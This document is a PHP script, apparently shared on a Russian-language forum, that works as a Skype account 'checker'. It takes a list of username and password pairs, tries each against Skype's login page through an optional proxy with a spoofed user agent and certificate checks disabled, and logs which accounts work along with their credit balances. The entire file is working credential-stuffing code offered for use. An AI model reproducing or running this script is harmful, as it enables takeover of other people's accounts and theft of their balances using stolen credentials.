Код:
<?php  
    set_time_limit(0);  
    $proxy            = '';  
    $filesource        = 'source.txt';  
    $filevalid        = 'good.txt';  
    $fileinvalid    = 'bad.txt';  
    $goodfile        = fopen($filevalid, 'a+');  
    $badfile        = fopen($fileinvalid, 'a+');  
    $fp                = file($filesource);  
    $count            = count($fp);  

        for($i = 0;$i < $count;$i++)  
        {  
            $fp    = file($filesource);  
            $str    = trim($fp[$i]);  
            list($uname,$pass)    = @explode(';', $str);  
            list($login,$dom)    = @explode('@', $uname);  
            $url = 'https://secure.skype.com/account/';  
            $str = "$login;$pass";  
            if(skype_login($login,$pass))  
            {    $ct    = curl_init();  
                curl_setopt($ct, CURLOPT_URL, $url);  
                curl_setopt($ct, CURLOPT_COOKIEFILE, "cookie.txt");   
                curl_setopt($ct, CURLOPT_COOKIEJAR, "cookie.txt");  
                curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1);  
                curl_setopt($ct, CURLOPT_SSL_VERIFYPEER, false);  
                curl_setopt($ct, CURLOPT_SSL_VERIFYHOST, false);  
                if ($proxy!='')    curl_setopt($ct, CURLOPT_PROXY, $proxy);  
                curl_setopt($ct, CURLOPT_HEADER, 1);  
                curl_setopt($ct, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3)'); 
                $res_acc = curl_exec($ct) or curl_error($ct);  
                curl_close($ct);  
                if (ereg ("(<span id=\"balanceAmount\"><span class=\'ccy\'>)(.+)(</span>)(.+)(</span>)(.+)(<div id=\"balanceDescription\">)", $res_acc, $balance))  
                    {    ereg ("(Your currency is set to <strong>)([A-Z]{3,4})", $res_acc, $ccy);  
                        $balance = trim($balance[4]).' '.$ccy[2];  
                        echo $str."\t $balance    -- GOOD\n";  
                        fwrite ($goodfile,$str."\t".$balance."\n");  
                        sleep(3);  
                    }  
                else   
                        {  
                        echo $str."\t NO BALANCE    -- GOOD\n";  
                        fwrite ($goodfile,$str."\n");  
                        }  
            }  
            else  
            echo $str."    -- BAD\n";      
                  
            $fcls = fopen("cookie.txt", 'a+');   
            ftruncate($fcls, 0);      
            flush();  
        }  
          
          
function skype_login($uname,$pass)  
    {     global $proxy;  
        $url = 'https://secure.skype.com/account/login';  
        $post    = 'invite_token=&timezone_field=&username='.$uname.'&password='.$pass;  
        if($ct    = curl_init($url))  
            {    curl_setopt($ct, CURLOPT_COOKIEFILE, "cookie.txt");   
                curl_setopt($ct, CURLOPT_COOKIEJAR, "cookie.txt");  
                curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1);  
                curl_setopt($ct, CURLOPT_SSL_VERIFYPEER, false);  
                curl_setopt($ct, CURLOPT_SSL_VERIFYHOST, false);  
                curl_setopt($ct, CURLOPT_HEADER, 1);  
                curl_setopt($ct, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3)'); 
                if ($proxy!='')    curl_setopt($ct, CURLOPT_PROXY, $proxy);  
                curl_setopt($ct, CURLOPT_POST, 1);  
                curl_setopt($ct, CURLOPT_POSTFIELDS, $post);  
                $res_login = curl_exec($ct) or curl_error($ct);  
                curl_close($ct);  
                if(strpos($res_login, 'cookiecheck=1'))  
                    return true;  
                    else   
                    return false;  
            }  
            else  
            die('no cUrl maza faka');  
    }  


?>